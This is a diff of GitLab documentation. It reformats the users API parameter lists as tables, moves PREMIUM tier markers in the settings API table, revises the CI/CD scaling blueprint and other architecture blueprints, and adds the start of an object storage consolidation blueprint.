+| `npm_package_requests_forwarding` **(PREMIUM)** | boolean | no | Use npmjs.org as a default remote repository when the package is not found in the GitLab Package Registry for npm. |
+| `pypi_package_requests_forwarding` **(PREMIUM)** | boolean | no | Use pypi.org as a default remote repository when the package is not found in the GitLab Package Registry for PyPI. |
| `outbound_local_requests_whitelist` | array of strings | no | Define a list of trusted domains or IP addresses to which local requests are allowed when local requests for hooks and services are disabled.
| `pages_domain_verification_enabled` | boolean | no | Require users to prove ownership of custom domains. Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled. |
| `password_authentication_enabled_for_git` | boolean | no | Enable authentication for Git over HTTP(S) via a GitLab account password. Default is `true`. |
@@ -364,7 +365,7 @@ listed in the descriptions of the relevant settings.
| `project_export_enabled` | boolean | no | Enable project export. |
| `prometheus_metrics_enabled` | boolean | no | Enable Prometheus metrics. |
| `protected_ci_variables` | boolean | no | CI/CD variables are protected by default. |
-| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab runs a background job that produces pseudonymized CSVs of the GitLab database to upload to your configured object storage directory.
+| `pseudonymizer_enabled` **(PREMIUM)** | boolean | no | When enabled, GitLab runs a background job that produces pseudonymized CSVs of the GitLab database to upload to your configured object storage directory.
| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events are created. [Bulk push events are created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. |
| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services fire or not. Webhooks and services aren't submitted if it surpasses that value. |
| `rate_limiting_response_text` | string | no | When rate limiting is enabled via the `throttle_*` settings, send this plain text response when a rate limit is exceeded. 'Retry later' is sent if this is blank. |
@@ -374,7 +375,7 @@ listed in the descriptions of the relevant settings.
| `recaptcha_site_key` | string | required by: `recaptcha_enabled` | Site key for reCAPTCHA. |
| `receive_max_input_size` | integer | no | Maximum push size (MB). |
| `repository_checks_enabled` | boolean | no | GitLab periodically runs `git fsck` in all project and wiki repositories to look for silent disk corruption issues. |
-| `repository_size_limit` | integer | no | **(PREMIUM)** Size limit per repository (MB) |
+| `repository_size_limit` **(PREMIUM)** | integer | no | Size limit per repository (MB) |
| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#configure-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. |
| `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. |
| `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/moderate_users.md) by an administrator. |
@@ -384,7 +385,7 @@ listed in the descriptions of the relevant settings.
| `send_user_confirmation_email` | boolean | no | Send confirmation email on sign-up. |
| `session_expire_delay` | integer | no | Session duration in minutes. GitLab restart is required to apply changes. |
| `shared_runners_enabled` | boolean | no | (**If enabled, requires:** `shared_runners_text` and `shared_runners_minutes`) Enable shared runners for new projects. |
-| `shared_runners_minutes` | integer | required by: `shared_runners_enabled` | **(PREMIUM)** Set the maximum number of pipeline minutes that a group can use on shared runners per month. |
+| `shared_runners_minutes` **(PREMIUM)** | integer | required by: `shared_runners_enabled` | Set the maximum number of pipeline minutes that a group can use on shared runners per month. |
| `shared_runners_text` | string | required by: `shared_runners_enabled` | Shared runners text. |
| `sidekiq_job_limiter_mode` | string | no | `track` or `compress`. Sets the behavior for [Sidekiq job size limits](../user/admin_area/settings/sidekiq_job_limits.md). Default: 'compress'. |
| `sidekiq_job_limiter_compression_threshold_bytes` | integer | no | The threshold in bytes at which Sidekiq jobs are compressed before being stored in Redis. Default: 100 000 bytes (100KB). |
@@ -392,10 +393,10 @@ listed in the descriptions of the relevant settings.
| `sign_in_text` | string | no | Text on the login page. |
| `signin_enabled` | string | no | (Deprecated: Use `password_authentication_enabled_for_web` instead) Flag indicating if password authentication is enabled for the web interface. |
| `signup_enabled` | boolean | no | Enable registration. Default is `true`. |
-| `slack_app_enabled` | boolean | no | **(PREMIUM)** (**If enabled, requires:** `slack_app_id`, `slack_app_secret` and `slack_app_secret`) Enable Slack app. |
-| `slack_app_id` | string | required by: `slack_app_enabled` | **(PREMIUM)** The app ID of the Slack-app. |
-| `slack_app_secret` | string | required by: `slack_app_enabled` | **(PREMIUM)** The app secret of the Slack-app. |
-| `slack_app_verification_token` | string | required by: `slack_app_enabled` | **(PREMIUM)** The verification token of the Slack-app. |
+| `slack_app_enabled` **(PREMIUM)** | boolean | no | (**If enabled, requires:** `slack_app_id`, `slack_app_secret` and `slack_app_secret`) Enable Slack app. |
+| `slack_app_id` **(PREMIUM)** | string | required by: `slack_app_enabled` | The app ID of the Slack-app. |
+| `slack_app_secret` **(PREMIUM)** | string | required by: `slack_app_enabled` | The app secret of the Slack-app. |
+| `slack_app_verification_token` **(PREMIUM)** | string | required by: `slack_app_enabled` | The verification token of the Slack-app. |
| `snippet_size_limit` | integer | no | Max snippet content size in **bytes**. Default: 52428800 Bytes (50MB).|
| `snowplow_app_id` | string | no | The Snowplow site name / application ID. (for example, `gitlab`) |
| `snowplow_collector_hostname` | string | required by: `snowplow_enabled` | The Snowplow collector hostname. (for example, `snowplow.trx.gitlab.net`) |
@@ -404,9 +405,9 @@ listed in the descriptions of the relevant settings.
| `sourcegraph_enabled` | boolean | no | Enables Sourcegraph integration. Default is `false`. **If enabled, requires** `sourcegraph_url`. |
| `sourcegraph_public_only` | boolean | no | Blocks Sourcegraph from being loaded on private and internal projects. Default is `true`. |
| `sourcegraph_url` | string | required by: `sourcegraph_enabled` | The Sourcegraph instance URL for integration. |
-| `spam_check_endpoint_enabled` | boolean | no | Enables Spam Check via external API endpoint. Default is `false`. |
-| `spam_check_endpoint_url` | string | no | URL of the external Spam Check service endpoint. |
-| `spam_check_api_key` | string | no | The API key used by GitLab for accessing the Spam Check service endpoint. |
+| `spam_check_endpoint_enabled` | boolean | no | Enables spam checking using external Spam Check API endpoint. Default is `false`. |
+| `spam_check_endpoint_url` | string | no | URL of the external Spamcheck service endpoint. Valid URI schemes are `grpc` or `tls`. Specifying `tls` forces communication to be encrypted.|
+| `spam_check_api_key` | string | no | API key used by GitLab for accessing the Spam Check service endpoint. |
| `suggest_pipeline_enabled` | boolean | no | Enable pipeline suggestion banner. |
| `terminal_max_session_time` | integer | no | Maximum time for web terminal websocket connection (in seconds). Set to `0` for unlimited time. |
| `terms` | text | required by: `enforce_terms` | (**Required by:** `enforce_terms`) Markdown content for the ToS. |
diff --git a/doc/api/status_checks.md b/doc/api/status_checks.md
index 0c72ee37348..c0dba71bdc5 100644
--- a/doc/api/status_checks.md
+++ b/doc/api/status_checks.md
@@ -145,6 +145,6 @@ PUT /projects/:id/external_status_checks/:check_id
| `external_url` | string | no | URL of external status check resource |
| `protected_branch_ids` | `array<Integer>` | no | IDs of protected branches to scope the rule by |
-## Related links
+## Related topics
- [External status checks](../user/project/merge_requests/status_checks.md).
diff --git a/doc/api/topics.md b/doc/api/topics.md
index 5e9e1b8fc12..538b9af9374 100644
--- a/doc/api/topics.md
+++ b/doc/api/topics.md
@@ -161,7 +161,7 @@ curl --request PUT \
--data "name=topic1" \
--header "PRIVATE-TOKEN: <your_access_token>" \
"https://gitlab.example.com/api/v4/topics/1"
-
+```
Example response:
@@ -188,3 +188,18 @@ curl --request PUT \
"https://gitlab.example.com/api/v4/topics/1" \
--form "avatar=@/tmp/example.png"
```
+
+### Remove a topic avatar
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/348148) in GitLab 14.6.
+
+To remove a topic avatar, use a blank value for the `avatar` attribute.
+
+Example request:
+
+```shell
+curl --request PUT \
+ --data "avatar=" \
+ --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/topics/1"
+```
diff --git a/doc/api/users.md b/doc/api/users.md
index d8effc4d38f..292dc411e5b 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -269,7 +269,9 @@ GET /users/:id
Parameters:
-- `id` (required) - The ID of a user
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|------------------|
+| `id` | integer | yes | The ID of a user |
```json
{
@@ -303,7 +305,9 @@ GET /users/:id
Parameters:
-- `id` (required) - The ID of a user
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|------------------|
+| `id` | integer | yes | The ID of a user |
Example Responses:
@@ -509,8 +513,10 @@ DELETE /users/:id/identities/:provider
Parameters:
-- `id` (required) - The ID of the user
-- `provider` (required) - External provider name
+| Attribute | Type | Required | Description |
+|------------|---------|----------|------------------------|
+| `id` | integer | yes | The ID of a user |
+| `provider` | string | yes | External provider name |
## User deletion
@@ -523,10 +529,10 @@ DELETE /users/:id
Parameters:
-- `id` (required) - The ID of the user
-- `hard_delete` (optional) - If true, contributions that would usually be
- [moved to the ghost user](../user/profile/account/delete_account.md#associated-records)
- are deleted instead, as well as groups owned solely by this user.
+| Attribute | Type | Required | Description |
+|---------------|---------|----------|----------------------------------------------|
+| `id` | integer | yes | The ID of a user |
+| `hard_delete` | boolean | no | If true, contributions that would usually be [moved to the ghost user](../user/profile/account/delete_account.md#associated-records) are deleted instead, as well as groups owned solely by this user. |
## List current user (for normal users)
@@ -576,14 +582,16 @@ GET /user
## List current user (for admins)
-Parameters:
-
-- `sudo` (optional) - the ID of a user to make the call in their place
-
```plaintext
GET /user
```
+Parameters:
+
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|--------------------------------------------------|
+| `sudo` | integer | no | the ID of a user to make the call in their place |
+
```json
{
"id": 1,
@@ -936,7 +944,9 @@ GET /user/keys/:key_id
Parameters:
-- `key_id` (required) - The ID of an SSH key
+| Attribute | Type | Required | Description |
+|-----------|--------|----------|----------------------|
+| `key_id` | string | yes | The ID of an SSH key |
```json
{
@@ -957,9 +967,11 @@ POST /user/keys
Parameters:
-- `title` (required) - new SSH key's title
-- `key` (required) - new SSH key
-- `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`)
+| Attribute | Type | Required | Description |
+|--------------|--------|----------|--------------------------------------------------------------------------------|
+| `title` | string | yes | new SSH key's title |
+| `key` | string | yes | new SSH key |
+| `expires_at` | string | no | The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
```json
{
@@ -995,10 +1007,12 @@ POST /users/:id/keys
Parameters:
-- `id` (required) - ID of specified user
-- `title` (required) - new SSH key's title
-- `key` (required) - new SSH key
-- `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`)
+| Attribute | Type | Required | Description |
+|--------------|---------|----------|--------------------------------------------------------------------------------|
+| `id` | integer | yes | ID of specified user |
+| `title` | string | yes | new SSH key's title |
+| `key` | string | yes | new SSH key |
+| `expires_at` | string | no | The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
NOTE:
This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events). **(PREMIUM)**
@@ -1014,7 +1028,9 @@ DELETE /user/keys/:key_id
Parameters:
-- `key_id` (required) - SSH key ID
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|-------------|
+| `key_id` | integer | yes | SSH key ID |
## Delete SSH key for given user
@@ -1026,8 +1042,10 @@ DELETE /users/:id/keys/:key_id
Parameters:
-- `id` (required) - ID of specified user
-- `key_id` (required) - SSH key ID
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
+| `key_id` | integer | yes | SSH key ID |
## List all GPG keys
@@ -1092,8 +1110,8 @@ POST /user/gpg_keys
Parameters:
| Attribute | Type | Required | Description |
-| --------- | ------ | -------- | --------------- |
-| key | string | yes | The new GPG key |
+|-----------|--------|----------|-----------------|
+| `key` | string | yes | The new GPG key |
```shell
curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." \
@@ -1288,7 +1306,9 @@ GET /users/:id/emails
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|-----------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
## Single email
@@ -1300,7 +1320,9 @@ GET /user/emails/:email_id
Parameters:
-- `email_id` (required) - email ID
+| Attribute | Type | Required | Description |
+|------------|---------|----------|-------------|
+| `email_id` | integer | yes | Email ID |
```json
{
@@ -1320,7 +1342,9 @@ POST /user/emails
Parameters:
-- `email` (required) - email address
+| Attribute | Type | Required | Description |
+|-----------|--------|----------|-------------|
+| `email` | string | yes | Email address |
```json
{
@@ -1353,9 +1377,11 @@ POST /users/:id/emails
Parameters:
-- `id` (required) - ID of specified user
-- `email` (required) - email address
-- `skip_confirmation` (optional) - Skip confirmation and assume email is verified - true or false (default)
+| Attribute | Type | Required | Description |
+|---------------------|---------|----------|---------------------------------------------------------------------------|
+| `id` | string | yes | ID of specified user |
+| `email` | string | yes | Email address |
+| `skip_confirmation` | boolean | no | Skip confirmation and assume email is verified - true or false (default) |
## Delete email for current user
@@ -1368,7 +1394,9 @@ DELETE /user/emails/:email_id
Parameters:
-- `email_id` (required) - email ID
+| Attribute | Type | Required | Description |
+|------------|---------|----------|-------------|
+| `email_id` | integer | yes | Email ID |
## Delete email for given user
@@ -1380,8 +1408,10 @@ DELETE /users/:id/emails/:email_id
Parameters:
-- `id` (required) - ID of specified user
-- `email_id` (required) - email ID
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
+| `email_id` | integer | yes | Email ID |
## Block user
@@ -1393,7 +1423,9 @@ POST /users/:id/block
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
Returns:
@@ -1413,7 +1445,9 @@ POST /users/:id/unblock
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
Returns `201 OK` on success, `404 User Not Found` is user cannot be found or
`403 Forbidden` when trying to unblock a user blocked by LDAP synchronization.
@@ -1430,7 +1464,9 @@ POST /users/:id/deactivate
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
Returns:
@@ -1453,7 +1489,9 @@ POST /users/:id/activate
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
Returns:
@@ -1572,7 +1610,9 @@ POST /users/:id/approve
Parameters:
-- `id` (required) - ID of specified user
+| Attribute | Type | Required | Description |
+|------------|---------|----------|----------------------|
+| `id` | integer | yes | ID of specified user |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/approve"
@@ -1583,6 +1623,7 @@ Returns:
- `201 Created` on success.
- `404 User Not Found` if user cannot be found.
- `403 Forbidden` if the user cannot be approved because they are blocked by an administrator or by LDAP synchronization.
+- `409 Conflict` if the user has been deactivated.
Example Responses:
@@ -1731,10 +1772,6 @@ It revokes an impersonation token.
DELETE /users/:user_id/impersonation_tokens/:impersonation_token_id
```
-```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens/1"
-```
-
Parameters:
| Attribute | Type | Required | Description |
@@ -1742,6 +1779,10 @@ Parameters:
| `user_id` | integer | yes | The ID of the user |
| `impersonation_token_id` | integer | yes | The ID of the impersonation token |
+```shell
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens/1"
+```
+
## Create a personal access token **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17176) in GitLab 13.6.
diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md
index 3fba95c1fb3..da269073905 100644
--- a/doc/api/v3_to_v4.md
+++ b/doc/api/v3_to_v4.md
@@ -11,7 +11,7 @@ The GitLab API v3 was [removed](https://gitlab.com/gitlab-org/gitlab-foss/-/issu
For information about the current version of the GitLab API, read the [API documentation](index.md).
-## Related links
+## Related topics
- [GitLab v3 API documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-16-stable/doc/api/index.md)
- [Migration guide](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md) from
diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md
index 3e9fbc534d5..092f8a7119a 100644
--- a/doc/architecture/blueprints/ci_scale/index.md
+++ b/doc/architecture/blueprints/ci_scale/index.md
@@ -5,7 +5,7 @@ comments: false
description: 'Improve scalability of GitLab CI/CD'
---
-# Next CI/CD scale target: 20M builds per day by 2024
+# CI/CD Scaling
## Summary
@@ -20,13 +20,8 @@ store all the builds in PostgreSQL in `ci_builds` table, and because we are
creating more than [2 million builds each day on GitLab.com](https://docs.google.com/spreadsheets/d/17ZdTWQMnTHWbyERlvj1GA7qhw_uIfCoI5Zfrrsh95zU),
we are reaching database limits that are slowing our development velocity down.
-On February 1st, 2021, a billionth CI/CD job was created and the number of
-builds is growing exponentially. We will run out of the available primary keys
-for builds before December 2021 unless we improve the database model used to
-store CI/CD data.
-
-We expect to see 20M builds created daily on GitLab.com in the first half of
-2024.
+On February 1st, 2021, GitLab.com surpassed 1 billion CI/CD builds created and the number of
+builds continues to grow exponentially.
![CI builds cumulative with forecast](ci_builds_cumulative_forecast.png)
@@ -60,8 +55,8 @@ that have the same problem.
Primary keys problem will be tackled by our Database Team.
-Status: As of October 2021 the primary keys in CI tables have been migrated to
-big integers.
+**Status**: As of October 2021 the primary keys in CI tables have been migrated
+to big integers.
### The table is too large
@@ -84,6 +79,14 @@ seem fine in the development environment may not work on GitLab.com. The
difference in the dataset size between the environments makes it difficult to
predict the performance of even the most simple queries.
+Team members and the wider community members are struggling to contribute the
+Verify area, because we restricted the possibility of extending `ci_builds`
+even further. Our static analysis tools prevent adding more columns to this
+table. Adding new queries is unpredictable because of the size of the dataset
+and the amount of queries executed using the table. This significantly hinders
+the development velocity and contributes to incidents on the production
+environment.
+
We also expect a significant, exponential growth in the upcoming years.
One of the forecasts done using [Facebook's
@@ -94,6 +97,10 @@ sustain in upcoming years.
![CI builds daily forecast](ci_builds_daily_forecast.png)
+**Status**: As of October 2021 we reduced the growth rate of `ci_builds` table
+by writing build options and variables to `ci_builds_metadata` table. We plan
+to ship further improvements that will be described in a separate blueprint.
+
### Queuing mechanisms are using the large table
Because of how large the table is, mechanisms that we use to build queues of
@@ -114,8 +121,8 @@ table that will accelerate SQL queries used to build
queues](https://gitlab.com/gitlab-org/gitlab/-/issues/322766) and we want to
explore them.
-Status: the new architecture [has been implemented on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/5909#note_680407908).
-
+**Status**: As of October 2021 the new architecture [has been implemented on
+GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/5909#note_680407908).
The following epic tracks making it generally available: [Make the new pending
builds architecture generally available](
https://gitlab.com/groups/gitlab-org/-/epics/6954).
@@ -136,17 +143,8 @@ columns, tables, partitions or database shards.
Effort to improve background migrations will be owned by our Database Team.
-Status: In progress.
-
-### Development velocity is negatively affected
-
-Team members and the wider community members are struggling to contribute the
-Verify area, because we restricted the possibility of extending `ci_builds`
-even further. Our static analysis tools prevent adding more columns to this
-table. Adding new queries is unpredictable because of the size of the dataset
-and the amount of queries executed using the table. This significantly hinders
-the development velocity and contributes to incidents on the production
-environment.
+**Status**: In progress. We plan to ship further improvements that will be
+described in a separate architectural blueprint.
## Proposal
@@ -157,32 +155,34 @@ First, we want to focus on things that are urgently needed right now. We need
to fix primary keys overflow risk and unblock other teams that are working on
database partitioning and sharding.
-We want to improve situation around bottlenecks that are known already, like
-queuing mechanisms using the large table and things that are holding other
-teams back.
+We want to improve known bottlenecks, like
+builds queuing mechanisms that is using the large table, and other things that
+are holding other teams back.
Extending CI/CD metrics is important to get a better sense of how the system
performs and to what growth should we expect. This will make it easier for us
to identify bottlenecks and perform more advanced capacity planning.
-As we work on first iterations we expect our Database Sharding team and
-Database Scalability Working Group to make progress on patterns we will be able
-to use to partition the large CI/CD dataset. We consider the strong time-decay
-effect, related to the diminishing importance of pipelines with time, as an
-opportunity we might want to seize.
+Next step is to better understand how we can leverage strong time-decay
+characteristic of CI/CD data. This might help us to partition CI/CD dataset to
+reduce the size of CI/CD database tables.
## Iterations
Work required to achieve our next CI/CD scaling target is tracked in the
-[GitLab CI/CD 20M builds per day scaling
-target](https://gitlab.com/groups/gitlab-org/-/epics/5745) epic.
+[CI/CD Scaling](https://gitlab.com/groups/gitlab-org/-/epics/5745) epic.
+
+1. ✓ Migrate primary keys to big integers on GitLab.com.
+1. ✓ Implement the new architecture of builds queuing on GitLab.com.
+1. Make the new builds queuing architecture generally available.
+1. Partition CI/CD data using time-decay pattern.
## Status
|-------------|--------------|
| Created at | 21.01.2021 |
| Approved at | 26.04.2021 |
-| Updated at | 28.10.2021 |
+| Updated at | 06.12.2021 |
Status: In progress.
@@ -215,6 +215,7 @@ Domain experts:
| Area | Who
|------------------------------|------------------------|
| Domain Expert / Verify | Fabio Pitino |
+| Domain Expert / Verify | Marius Bobin |
| Domain Expert / Database | Jose Finotto |
| Domain Expert / PostgreSQL | Nikolay Samokhvalov |
diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
index 60ddfe8ce02..e545e8844ec 100644
--- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
+++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
@@ -28,7 +28,7 @@ might be useful to understand why it is important, and what is the roadmap.
## How GitLab Pages Works
GitLab Pages is a daemon designed to serve static content, written in
-[Go](https://golang.org/).
+[Go](https://go.dev/).
Initially, GitLab Pages has been designed to store static content on a local
shared block storage (NFS) in a hierarchical group > project directory
diff --git a/doc/architecture/blueprints/consolidating_groups_and_projects/index.md b/doc/architecture/blueprints/consolidating_groups_and_projects/index.md
index 53357220755..345160dc77f 100644
--- a/doc/architecture/blueprints/consolidating_groups_and_projects/index.md
+++ b/doc/architecture/blueprints/consolidating_groups_and_projects/index.md
@@ -133,7 +133,7 @@ The initial iteration will provide a framework to house features under `Namespac
1. **Conceptual model**: What are the current and future state conceptual models of these features ([see object modeling for designers](https://hpadkisson.medium.com/object-modeling-for-designers-an-introduction-7871bdcf8baf))? These should be documented in Pajamas (example: [Merge Requests](https://design.gitlab.com/objects/merge-request)).
1. **Merge conflicts**: What inconsistencies are there across project, group, and admin levels? How might these be addressed? For an example of how we rationalized this for labels, please see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338820).
-1. **Inheritence & information flow**: How is information inherited across our container hierarchy currently? How might this be impacted if complying with the new [inheritence behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/343316) framework?
+1. **Inheritance & information flow**: How is information inherited across our container hierarchy currently? How might this be impacted if complying with the new [inheritance behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/343316) framework?
1. **Settings**: Where can settings for this feature be found currently? How will these be impacted by `Namespaces`?
1. **Access**: Who can access this feature and is that impacted by the new container structure? Are there any role or privacy considerations?
1. **Tier**: Is there any tier functionality that is differentiated by projects and groups?
diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md
index 7bbaefb8e1e..a38a8727dc4 100644
--- a/doc/architecture/blueprints/container_registry_metadata_database/index.md
+++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md
@@ -18,7 +18,7 @@ For GitLab.com and for GitLab customers, the Container Registry is a critical co
## Current Architecture
-The Container Registry is a single [Go](https://golang.org/) application. Its only dependency is the storage backend on which images and metadata are stored.
+The Container Registry is a single [Go](https://go.dev/) application. Its only dependency is the storage backend on which images and metadata are stored.
```mermaid
graph LR
@@ -146,7 +146,7 @@ The interaction between the registry and its clients, including GitLab Rails and
### Database
-Following the GitLab [Go standards and style guidelines](../../../development/go_guide), no ORM is used to manage the database, only the [`database/sql`](https://golang.org/pkg/database/sql/) package from the Go standard library, a PostgreSQL driver ([`lib/pq`](https://pkg.go.dev/github.com/lib/pq?tab=doc)) and raw SQL queries, over a TCP connection pool.
+Following the GitLab [Go standards and style guidelines](../../../development/go_guide), no ORM is used to manage the database, only the [`database/sql`](https://pkg.go.dev/database/sql) package from the Go standard library, a PostgreSQL driver ([`lib/pq`](https://pkg.go.dev/github.com/lib/pq?tab=doc)) and raw SQL queries, over a TCP connection pool.
The design and development of the registry database adhere to the GitLab [database guidelines](../../../development/database/). Being a Go application, the required tooling to support the database will have to be developed, such as for running database migrations.
diff --git a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md
index fb71707c146..754988487de 100644
--- a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md
+++ b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md
@@ -9,7 +9,7 @@ description: 'GitLab to Kubernetes communication'
# GitLab to Kubernetes communication **(FREE)**
The goal of this document is to define how GitLab can communicate with Kubernetes
-and in-cluster services through the GitLab Kubernetes Agent.
+and in-cluster services through the GitLab Agent.
## Challenges
@@ -48,7 +48,7 @@ are stored on the GitLab side and this is yet another security concern for our c
For more discussion on these issues, read
[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
-## GitLab Kubernetes Agent epic
+## GitLab Agent epic
To address these challenges and provide some new features, the Configure group
is building an active in-cluster component that inverts the
@@ -62,12 +62,12 @@ The customer does not need to provide any credentials to GitLab, and
is in full control of what permissions the agent has.
For more information, visit the
-[GitLab Kubernetes Agent repository](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) or
+[GitLab Agent repository](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) or
[the epic](https://gitlab.com/groups/gitlab-org/-/epics/3329).
### Request routing
-Agents connect to the server-side component called GitLab Kubernetes Agent Server
+Agents connect to the server-side component called GitLab Agent Server
(`gitlab-kas`) and keep an open connection that waits for commands. The
difficulty with the approach is in routing requests from GitLab to the correct agent.
Each cluster may contain multiple logical agents, and each may be running as multiple
diff --git a/doc/architecture/blueprints/object_storage/index.md b/doc/architecture/blueprints/object_storage/index.md
new file mode 100644
index 00000000000..a79374d60bd
--- /dev/null
+++ b/doc/architecture/blueprints/object_storage/index.md
@@ -0,0 +1,220 @@
+---
+stage: none
+group: unassigned
+comments: false
+description: 'Object storage: direct_upload consolidation - architecture blueprint.'
+---
+
+# Object storage: `direct_upload` consolidation
+
+## Abstract
+
+GitLab stores three classes of user data: database records, Git
+repositories, and user-uploaded files (which are referred to as
+file storage throughout the blueprint).
+
+The user and contributor experience for our file
+storage has room for significant improvement:
+
+- Initial GitLab setup experience requires creation and setup of 13
+ buckets, instead of just 1.
+- Features using file storage require contributors to think about both local
+ storage and object storage, which leads to friction and
+ complexity. This often results in broken features and security issues.
+- Contributors who work on file storage often also have to write code
+ for Workhorse, Omnibus, and cloud native GitLab (CNG).
+
+## Problem definition
+
+Object storage is a fundamental component of GitLab, providing the
+underlying implementation for shared, distributed, highly-available
+(HA) file storage.
+
+Over time, we have built support for object storage across the
+application, solving specific problems in a [multitude of
+iterations](https://about.gitlab.com/company/team/structure/working-groups/object-storage/#company-efforts-on-uploads). This
+has led to increased complexity across the board, from development
+(new features and bug fixes) to installation:
+
+- New GitLab installations require the creation and configuration of
+ several object storage buckets instead of just one, as each group of
+ features requires its own. This has an impact on the installation
+ experience and new feature adoption, and takes us further away from
+ boring solutions.
+- The release of cloud native GitLab required the removal of NFS
+ shared storage and the development of direct upload, a feature that
+ was expanded, milestone after milestone, to several type of uploads,
+ but never enabled globally.
+- Today, GitLab supports both local storage and object storage. Local
+ storage only works on single box installations or with a NFS, which
+ [we no longer recommend](../../../administration/nfs.md) to our
+ users and is no longer in use on GitLab.com.
+- Understanding all the moving parts and the flow is extremely
+ complicated: we have CarrierWave, Fog, Golang S3/Azure SDKs, all
+ being used, and that complicates testing as well.
+- Fog and CarrierWave are not maintained to the level of the native
+ SDKs (for example, AWS S3 SDK), so we have to maintain or monkey
+ patch those tools to support requested customer features
+ (for example, [issue #242245](https://gitlab.com/gitlab-org/gitlab/-/issues/242245))
+ that would normally be "free".
+- In many cases, we copy around object storage files needlessly
+ (for example, [issue #285597](https://gitlab.com/gitlab-org/gitlab/-/issues/285597)).
+ Large files (LFS, packages, and so on) are slow to finalize or don't work
+ at all as a result.
+
+## Improvements over the current situation
+
+The following is a brief description of the main directions we can take to
+remove the pain points affecting our object storage implementation.
+
+This is also available as [a YouTube
+video](https://youtu.be/X9V_w8hsM8E) recorded for the [Object Storage
+Working
+Group](https://about.gitlab.com/company/team/structure/working-groups/object-storage/).
+
+### Simplify GitLab architecture by shipping MinIO
+
+In the beginning, object storage support was a Premium feature, not
+part of our CE distribution. Because of that, we had to support both
+local storage and object storage.
+
+With local storage, there is the assumption of a shared storage
+between components. This can be achieved by having a single box
+installation, without HA, or with a NFS, which [we no longer
+recommend](../../../administration/nfs.md).
+
+We have a testing gap on object storage. It also requires Workhorse
+and MinIO, which are not present in our pipelines, so too much is
+replaced by a mock implementation. Furthermore, the presence of a
+shared disk, both in CI and in local development, often hides broken
+implementations until we deploy on an HA environment.
+
+Shipping MinIO as part of the product will reduce the differences
